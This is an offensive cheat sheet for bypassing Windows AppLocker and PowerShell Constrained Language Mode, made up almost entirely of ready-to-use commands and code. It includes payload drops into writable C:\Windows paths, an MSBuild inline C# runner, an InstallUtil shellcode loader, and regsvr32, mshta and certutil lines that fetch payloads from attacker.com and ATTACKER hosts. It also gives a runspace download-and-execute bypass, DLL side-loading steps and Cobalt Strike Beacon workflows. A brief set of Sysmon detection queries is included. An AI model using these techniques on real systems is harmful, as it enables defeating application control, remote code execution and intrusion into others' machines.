AppLocker & PowerShell Constrained Language Mode

# These ALL fail under CLM:

# .NET type access
[System.Net.WebClient]::new()                    # ERROR
[System.Runtime.InteropServices.Marshal]         # ERROR

# P/Invoke / Add-Type
Add-Type -MemberDefinition $code -Name "Win32"   # ERROR

# COM object creation
$wsh = New-Object -ComObject WScript.Shell        # ERROR

# Type casting
[IntPtr]$ptr = 0x1234                            # ERROR

# Math namespace
[math]::Pow(2,10)                                # ERROR

# These still work under CLM:
Get-Process
Get-Service
Get-ChildItem
Start-Process
Invoke-Command
Enter-PSSession
Get-Content / Set-Content
powerpick (Cobalt Strike — bypasses CLM entirely)

AppLocker Policy Present with Script Rules
            │
            ▼
    PowerShell starts
            │
            ▼
    Queries AppLocker via Get-AppLockerPolicy
            │
            ├─ Script allowed for current path → FullLanguage
            │
            └─ Script not in allow list → CLM enforced

# Check if AppLocker is enforced
sc query AppIDSvc

# Read raw AppLocker rules from registry
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2

# Check per-category enforcement
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Exe
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Script
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Dll
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Msi
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Appx

# Get all AppLocker policies
Get-AppLockerPolicy -Effective | Format-List

# Get only Executable rules
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Test if a specific file is allowed
Test-AppLockerPolicy -Path C:\temp\test.exe -User Everyone

# Get the XML of the full policy (readable format)
Get-AppLockerPolicy -Effective -Xml

# Find GPO containing AppLocker policy
beacon> powershell Get-DomainGPO | ? { $_.DisplayName -like "*AppLocker*" -or $_.DisplayName -like "*Application*" } | select DisplayName, Name, GPCFileSysPath | fl

# Download the Registry.pol from the GPO SysVol path
beacon> download \\domain.local\SysVol\domain.local\Policies\{GUID}\Machine\Registry.pol

# Parse the .pol file (on attacker machine)
Parse-PolFile .\Registry.pol

# Find writable directories inside C:\Windows\ (where execution is trusted)
Get-ChildItem "C:\Windows" -Directory -Recurse -ErrorAction SilentlyContinue | ForEach-Object {
    $acl = Get-Acl $_.FullName -ErrorAction SilentlyContinue
    if ($acl.Access | Where-Object { $_.IdentityReference -match "Users|Everyone|Authenticated" -and $_.FileSystemRights -match "Write|FullControl|Modify" }) {
        $_.FullName
    }
}

# Common writable trusted paths (check these first):
# C:\Windows\Tasks\
# C:\Windows\Temp\
# C:\Windows\tracing\
# C:\Windows\System32\spool\drivers\color\
# C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
# C:\Windows\System32\Tasks\
# C:\Windows\SysWOW64\Tasks\
# C:\Windows\debug\WIA\

# Check current PowerShell language mode
$ExecutionContext.SessionState.LanguageMode

# Output: FullLanguage     → No AppLocker script enforcement (or admin)
# Output: ConstrainedLanguage → AppLocker script policy active

# Check remotely via Beacon (winrm)
beacon> remote-exec winrm TARGET $ExecutionContext.SessionState.LanguageMode

# Check AppLocker status via Seatbelt
beacon> execute-assembly Seatbelt.exe AppLocker

# Check the actual SrpV2 key for Script rules
reg query "HKLM\Software\Policies\Microsoft\Windows\SrpV2\Script"

<!-- Example: Standard default rule (allows everything in C:\Windows) -->
<FilePathRule Id="..." Name="All Windows files" Action="Allow">
  <Conditions>
    <FilePathCondition Path="%WINDIR%\*"/>
  </Conditions>
</FilePathRule>

<!-- Example: Overly broad custom rule (wildcard in middle) -->
<FilePathRule Id="..." Name="Custom Apps" Action="Allow">
  <Conditions>
    <FilePathCondition Path="%OSDRIVE%\*\Packages\*"/>
  </Conditions>
</FilePathRule>
<!-- Bypass: Create C:\AnyFolder\Packages\ and drop payload there -->

<!-- Allows anything signed by Microsoft -->
<FilePublisherRule Action="Allow">
  <Conditions>
    <FilePublisherCondition PublisherName="O=MICROSOFT CORPORATION" />
  </Conditions>
</FilePublisherRule>

<!-- Allows only exact hash of specific version -->
<FileHashRule Action="Allow">
  <Conditions>
    <FileHashCondition>
      <FileHash Type="SHA256" Data="0x1A2B..." SourceFileName="tool.exe" />
    </FileHashCondition>
  </Conditions>
</FileHashRule>

# [BYPASS] Copy payload to a writable path inside C:\Windows\
copy C:\Users\user\Desktop\payload.exe C:\Windows\Tasks\payload.exe
C:\Windows\Tasks\payload.exe

# Or via Beacon
beacon> cd C:\Windows\Tasks
beacon> upload C:\Payloads\beacon.exe
beacon> shell C:\Windows\Tasks\beacon.exe

# Writable paths that are commonly allowed:
# C:\Windows\Tasks\
# C:\Windows\Temp\
# C:\Windows\tracing\
# C:\Windows\debug\WIA\
# C:\Windows\System32\spool\drivers\color\

<!-- test.xml — drop to disk, execute with MSBuild -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="exec">
    <Exec />
  </Target>
  <UsingTask TaskName="Exec" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Diagnostics;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;

        public class Exec : Task, ITask {
          public override bool Execute() {
            // Drop shellcode runner or reverse shell here
            Process.Start("powershell.exe", "-nop -w hidden -enc <base64payload>");
            return true;
          }
        }
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

:: Execute MSBuild with the malicious project file
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\temp\test.xml

// Create a .NET class with an Install() method
// Compile: csc.exe /unsafe payload.cs
using System;
using System.ComponentModel;
using System.Configuration.Install;
using System.Runtime.InteropServices;

[System.ComponentModel.RunInstaller(true)]
public class Payload : System.Configuration.Install.Installer {
    [DllImport("kernel32.dll")] static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr f, IntPtr p, uint c, ref uint i);

    public override void Uninstall(System.Collections.IDictionary d) {
        byte[] shellcode = new byte[] { /* shellcode bytes */ };
        IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
        Marshal.Copy(shellcode, 0, mem, shellcode.Length);
        uint tid = 0;
        CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, ref tid);
        System.Threading.Thread.Sleep(10000);
    }
}

:: Execute without actually installing anything
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll

:: Execute a remote SCT file — no file write needed
regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

:: Or local SCT file
regsvr32.exe /s /n /u /i:C:\temp\payload.sct scrobj.dll

<!-- payload.sct — COM scriptlet -->
<?XML version="1.0"?>
<scriptlet>
<registration progid="PoC" classid="{AAAA-1111-BBBB-2222-CCCC}">
  <script language="JScript">
    <![CDATA[
      var r = new ActiveXObject("WScript.Shell").Run("powershell -nop -w hidden -enc <b64>", 0, false);
    ]]>
  </script>
</registration>
</scriptlet>

:: mshta — execute remote HTA
mshta.exe http://attacker.com/payload.hta

:: certutil — download and decode payload
certutil.exe -urlcache -split -f http://attacker.com/payload.b64 payload.b64
certutil.exe -decode payload.b64 payload.exe

:: rundll32 — execute DLL export
rundll32.exe payload.dll,EntryPoint

:: odbcconf — load DLL
odbcconf.exe /A {REGSVR C:\path\to\payload.dll}

:: Write executable into ADS of a trusted file
type payload.exe > "C:\Windows\Tasks\legit.txt:payload.exe"

:: Execute the ADS (older Windows)
wmic process call create "C:\Windows\Tasks\legit.txt:payload.exe"

:: Check ADS exists
dir /r C:\Windows\Tasks\legit.txt

# Step 1: Find a trusted application that loads DLLs from its own directory
# (using Process Monitor — look for NAME NOT FOUND on DLL loads)

# Step 2: Drop malicious DLL with the expected name
copy maldll.dll "C:\Program Files\LegitApp\missingdep.dll"

# Step 3: Execute the trusted application
"C:\Program Files\LegitApp\LegitApp.exe"
# → LegitApp.exe loads missingdep.dll → your code runs inside a trusted process

# Common targets for DLL side-loading
# Microsoft Teams, Zoom, Slack installers in user-writable AppData
# Any application installed to %AppData%\Local or %AppData%\Roaming

# Python (if installed and allowed)
python -c "import subprocess; subprocess.run(['calc.exe'])"

# Perl / Ruby / Lua (check what's installed)
perl -e "system('calc.exe')"

# Node.js
node -e "require('child_process').exec('calc.exe')"

# .NET interactive (if available)
dotnet-script payload.csx

# JScript via Windows Script Host
wscript.exe payload.js
cscript.exe payload.js

# Check if PowerShell v2 is available
Get-WindowsFeature PowerShell-V2            # Server
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root  # Client

# Spawn a PowerShell v2 shell
powershell.exe -version 2

# Confirm you're in v2 and FullLanguage
$PSVersionTable.PSVersion
$ExecutionContext.SessionState.LanguageMode  # Should say FullLanguage

:: Check if v2 engine is present on target
dism /online /get-featureinfo /featurename:MicrosoftWindowsPowerShellV2Root

// C# — Create a PowerShell runspace, run arbitrary code outside CLM
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

class RunspaceCLMBypass {
    static void Main(string[] args) {
        // Create a runspace — this is NOT subject to CLM
        Runspace rs = RunspaceFactory.CreateRunspace();
        rs.Open();

        PowerShell ps = PowerShell.Create();
        ps.Runspace = rs;

        // This runs in FullLanguage mode regardless of AppLocker/CLM
        ps.AddScript("[System.Net.WebClient]::new().DownloadString('http://attacker.com/payload.ps1') | IEX");
        ps.Invoke();

        rs.Close();
    }
}

:: Compile and run
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Management.Automation.dll RunspaceCLMBypass.cs
RunspaceCLMBypass.exe

# Standard powershell — blocked by CLM
beacon> powershell [math]::Pow(2,10)
# → ERROR: Cannot invoke method... ConstrainedLanguage

# powerpick — bypasses CLM entirely
beacon> powerpick [math]::Pow(2,10)
# → 1024

# Import PowerView and run under full language
beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
beacon> powerpick Get-Domain

# execute-assembly also bypasses CLM (runs inside Beacon process)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe triage

# Clone and compile
git clone https://github.com/padovah4ck/PSByPassCLM
# Compile in Visual Studio or:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe PSByPassCLM.cs

# Execute — starts a new shell in FullLanguage mode
C:\Windows\Tasks\PSByPassCLM.exe

# Or with a reverse shell callback
PSByPassCLM.exe 10.10.10.100 4444 -p

# Verify bypass
$ExecutionContext.SessionState.LanguageMode  # → FullLanguage

:: Via rundll32 (interactive)
rundll32.exe PowerShdll.dll,main

:: Via regsvr32
regsvr32.exe /s /n /u /i:PowerShdll.dll scrobj.dll

:: Via odbcconf
odbcconf.exe /a {REGSVR PowerShdll.dll}

:: Via PresentationHost (WPF host)
PresentationHost.exe -debug PowerShdll.dll

# CLM checks this environment variable on startup
# If it doesn't equal "4", CLM is not enforced
[System.Environment]::SetEnvironmentVariable("__PSLockdownPolicy", "0", "Machine")

# Then spawn a new PowerShell process
powershell.exe
$ExecutionContext.SessionState.LanguageMode  # → FullLanguage

# [OPSEC] Requires ability to modify machine-level env vars (local admin typically)
# Also works per-process:
$env:__PSLockdownPolicy = "0"
powershell.exe  # New process inherits the env var → FullLanguage

# Connect to a JEA endpoint
Enter-PSSession -ComputerName TARGET -ConfigurationName JEAEndpoint

# Check what commands are allowed
Get-Command

# Look for commands that accept ScriptBlock parameters — these are escape vectors
# E.g., if Invoke-Expression or Start-Job is allowed:
Invoke-Expression { $ExecutionContext.SessionState.LanguageMode }

# Or if any command accepts a -Filter scriptblock:
Get-ChildItem -Filter { Write-Host $ExecutionContext.SessionState.LanguageMode }

# Step 1: Write MSBuild XML to a trusted writable path
$xml = @'
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="exec">
    <MyTask />
  </Target>
  <UsingTask TaskName="MyTask" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class MyTask : Task, ITask {
          public override bool Execute() {
            System.Net.WebClient wc = new System.Net.WebClient();
            string script = wc.DownloadString("http://10.10.10.100/payload.ps1");
            System.Management.Automation.PowerShell ps = System.Management.Automation.PowerShell.Create();
            ps.AddScript(script);
            ps.Invoke();
            return true;
          }
        }
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
'@

# Step 2: Write to trusted path (no AppLocker block on .xml in C:\Windows\Tasks)
$xml | Out-File -FilePath "C:\Windows\Tasks\build.xml" -Encoding ASCII

# Step 3: Execute via trusted, signed MSBuild.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Tasks\build.xml
# → MSBuild is trusted (Publisher rule) → C# runs inline → Runspace bypasses CLM

# Step 1: Generate shellcode loader as .NET DLL (via Donut or manual)
# Step 2: Drop to writable trusted path
beacon> upload C:\Payloads\loader.dll C:\Windows\Tasks\loader.dll

# Step 3: Execute via InstallUtil
beacon> shell C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\loader.dll
# → InstallUtil is trusted → calls Uninstall() in your DLL → shellcode runs

# On a machine with AppLocker + CLM enforced:
beacon> getuid
[*] You are TARGET\user

beacon> powershell $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage   ← CLM active

# execute-assembly bypasses both — runs inside Beacon process, not powershell.exe
beacon> execute-assembly C:\Tools\SharpHound.exe -c All
beacon> execute-assembly C:\Tools\Rubeus.exe triage
beacon> execute-assembly C:\Tools\Seatbelt.exe -group=all

# powerpick bypasses CLM via unmanaged runspace
beacon> powerpick Get-DomainUser -Identity jking -Properties MemberOf | fl

# If policy has: Allow %OSDRIVE%\*\Packages\*

# Create the folder structure in user-writable location
mkdir C:\Users\user\Packages

# Drop payload there — path matches the wildcard rule
copy payload.exe C:\Users\user\Packages\payload.exe
C:\Users\user\Packages\payload.exe    # → Allowed by AppLocker

# This also gives you FullLanguage in PowerShell scripts in that path
# because the path matches the allow rule
powershell.exe -f C:\Users\user\Packages\payload.ps1   # → FullLanguage

# MSBuild spawning children
event.module: sysmon and event.type: process_start and process.parent.name: MSBuild.exe

# PowerShell v2 downgrade attempt
event.module: sysmon and event.type: process_start and process.command_line: *-version 2*

# Regsvr32 network connection (Squiblydoo)
event.module: sysmon and event.type: connection and process.name: regsvr32.exe

# InstallUtil execution
event.module: sysmon and event.type: process_start and process.name: InstallUtil.exe

# Executable dropped to Windows\Tasks
event.module: sysmon and event.type: creation and file.directory: *Windows\\Tasks* and file.extension: exe

# SMA.dll loaded in non-PS process (runspace bypass)
event.module: sysmon and event.type: image_load and file.name: System.Management.Automation.dll and not process.name: powershell.exe

# Is AppLocker enforced?
sc query AppIDSvc

# What's my PowerShell language mode?
$ExecutionContext.SessionState.LanguageMode

# Read all AppLocker rules (if FullLanguage available)
Get-AppLockerPolicy -Effective -Xml | Out-File C:\temp\policy.xml

# Writable directories in trusted paths (find bypass opportunities)
cmd /c "dir /a /s C:\Windows\Tasks C:\Windows\Temp 2>nul"

Got a shell / Beacon on a CLM + AppLocker machine?
│
├─ Have a Cobalt Strike Beacon?
│   └─ YES → Use powerpick / execute-assembly → Done. No bypass needed.
│
├─ No Beacon — shell only?
│   │
│   ├─ CLM only, no AppLocker?
│   │   ├─ PS v2 installed? → powershell.exe -version 2
│   │   ├─ Admin rights? → Set __PSLockdownPolicy=0 env var
│   │   └─ No admin → PSByPassCLM.exe (if you can drop a file)
│   │
│   ├─ AppLocker only (no CLM)?
│   │   ├─ Find writable path in C:\Windows\ → drop payload there
│   │   ├─ DLL side-load opportunity? → drop malicious DLL
│   │   └─ LOLBAS → mshta / regsvr32 / certutil
│   │
│   └─ Both AppLocker + CLM?
│       ├─ MSBuild.exe allowed? → MSBuild inline C# → bypasses both
│       ├─ InstallUtil.exe? → Compile .NET DLL with Uninstall() method
│       ├─ Writable trusted path? → Drop custom runspace EXE there
│       ├─ PS v2 installed? → powershell.exe -version 2 (from allowed path)
│       └─ Wildcard path rule? → Create folder matching wildcard, drop payload

:: MSBuild — inline C# execution
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe evil.xml

:: InstallUtil — .NET DLL
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll

:: Regsvr32 — remote SCT
regsvr32.exe /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll

:: mshta — remote HTA
mshta.exe http://ATTACKER/payload.hta

:: certutil — download file
certutil.exe -urlcache -split -f http://ATTACKER/payload.exe payload.exe

:: rundll32 — DLL export
rundll32.exe payload.dll,EntryPoint

:: PS v2 downgrade
powershell.exe -version 2 -nop -w hidden -c "IEX(IWR 'http://ATTACKER/payload.ps1')"

C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\tracing\
C:\Windows\debug\WIA\
C:\Windows\System32\spool\drivers\color\
C:\Windows\System32\Tasks\
C:\Windows\SysWOW64\Tasks\
C:\Windows\System32\FxsTmp\
C:\Windows\System32\com\dmp\

# Check CLM status remotely
beacon> remote-exec winrm TARGET $ExecutionContext.SessionState.LanguageMode

# Always use these over powershell on CLM machines:
beacon> powerpick <any powershell code>
beacon> execute-assembly <any .NET binary>
beacon> psinject <pid> x64 <script>     # inject PS runspace into existing process

# Bypass AppLocker for lateral movement (psexec drops to C:\Windows — trusted)
beacon> jump psexec64 TARGET smb         # EXE dropped to C:\Windows\ — trusted path